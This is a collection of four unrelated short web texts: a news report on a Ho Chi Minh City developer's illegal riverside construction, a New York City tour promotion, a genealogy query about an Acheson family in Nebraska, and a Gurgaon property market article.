The TDS Company increased the total area of their ground floor 1,127 square metres more than the registered and trespassed on the river protection corridor. They also built new construction that is not included in the registered planning. TDS Company was fined VND1bn but it ignored the fine and resumed illegal construction. Statistics from the Department of Natural Resources and Environment show that the project has been used as collateral for bank loans in 2015.
TDS Company since then has removed four of 14 pools and health and leisure clubs but continued asking the local authorities to reconsider the decision and keep the remaining construction to widen the residential area.
HoREA cited Resolution 121 on penalties on construction activities which stated that investors can keep their constructions if they pay the fine and 50% of the value of the illegally-built construction. They claimed that the constructions didn't affect surrounding constructions and there is no dispute.
Le Hoang Chau, HoREA chairman, said in the certificate of land use right, the TDS Company was allowed construction on the banks of the Saigon River and cited Decision 22 issued this year that also allowed 'some time-limited service constructions' to be built on the corridor.
HCM City People's Committee has asked the Department of Construction to review the request.


text:
Tours To Soak In The Spirit Of NYCby Don
Do you want to explore the amazing New York City? If your answer is in affirmative, here is a bit of advice for you. Visit New York in the winters. New York is at its magical best in the winters and it is the best place to be in, if you want to soak up the Christmas spirit. You can experience the lovely festive spirit by shopping at the best shops in the 5th Avenue and ice-skating in the Rockfeller Center. In fact, New York is such an extraordinary city that you should do a bit of everything, to get the NYC feel. And one of the best ways to get the NYC feel is to undertake one of the popular NYC tours.
Go in for a tour that shows you the entire Big Apple. It is usually a 48 hour tour that will show you the major NYC attractions and sights. The tour comes with umpteen hop on and off from the bus tours, a helicopter ride and a cruise. You can opt for the uptown bus tour that will show you the Fifth Avenue, Museum Mile and Millionaire Rows. You will also like the open top bus tour across Brooklyn which gives you a complementary free pass to the Museum of the City of New York. There are New York City tours for specific attractions and landmarks also. There are many tours to the world famous Statue of Liberty. Located on Liberty Island, it is a must-see. You can also undertake a tour to the Empire State Building.


text:
ACHESON - Buffalo Cnty, NE
My dad's maternal grandmother was Susan D. ACHESON. b: 1851, possibly in IA/OH, d. 1909 in Buffalo Cnty, NE.Married to Reamor Revista DeLaBARRE (1846-1911) KY/IA.Her father owned ranch in Buffalo Cnty, NE.Believe him to be C.A. ACHESON from IA or OH.Does anyone have info in their data bank that might help me out?I appreciate your time, Thank you!


text:
A downturn is faced by the real estate markets all over our nation in very recent times. The situation is no less good in Gurgaon, where the properties and real estate markets have witnessed a similar reduction in value. It is estimated that the approximate figure by which this reduction happened when compared to the last year is about 30% which is very drastic. This has saddened all the property and real market investors on Gurgaon, and they have started to release their holdings to others with discounts. This slowdown is believed to be caused due to inflationary pressures, weak economy and lack of increments.
The slowdown is extensive because a large number of projects are launched in the recent times and inventory levels that are steeping high. With buying and selling in the market that involves investment with high risk of loss, prices have soared to very high levels causing the downturn. Now, the real question in the minds of everyone pertaining Gurgaon is how much this slowdown will continue?
Many experts predict that luxury housing is the proof for this current slowdown. It is expected that in places like Gurgaon, luxury is getting more attention and hence many real estate players are starting to launch luxury projects. But this has made the absence of properties that could be got at an affordable price range. This high margin business which gives high incentives to developers is increasing due to demands of high end luxurious projects. The strange fact is that the supply of such luxurious projects is very less than the demand of such projects from customers. This attracts more developers to go for such projects, resulting in the downturn situation. The luxurious outfit that people expect at Gurgaon is due to the changing lifestyles and property requirements of India.
Copyright© Gurgaonproperties.net, All Rights Reserved Why Us | Career | Disclaimer | Sitemap | Testimonials | Email Us: email@example.com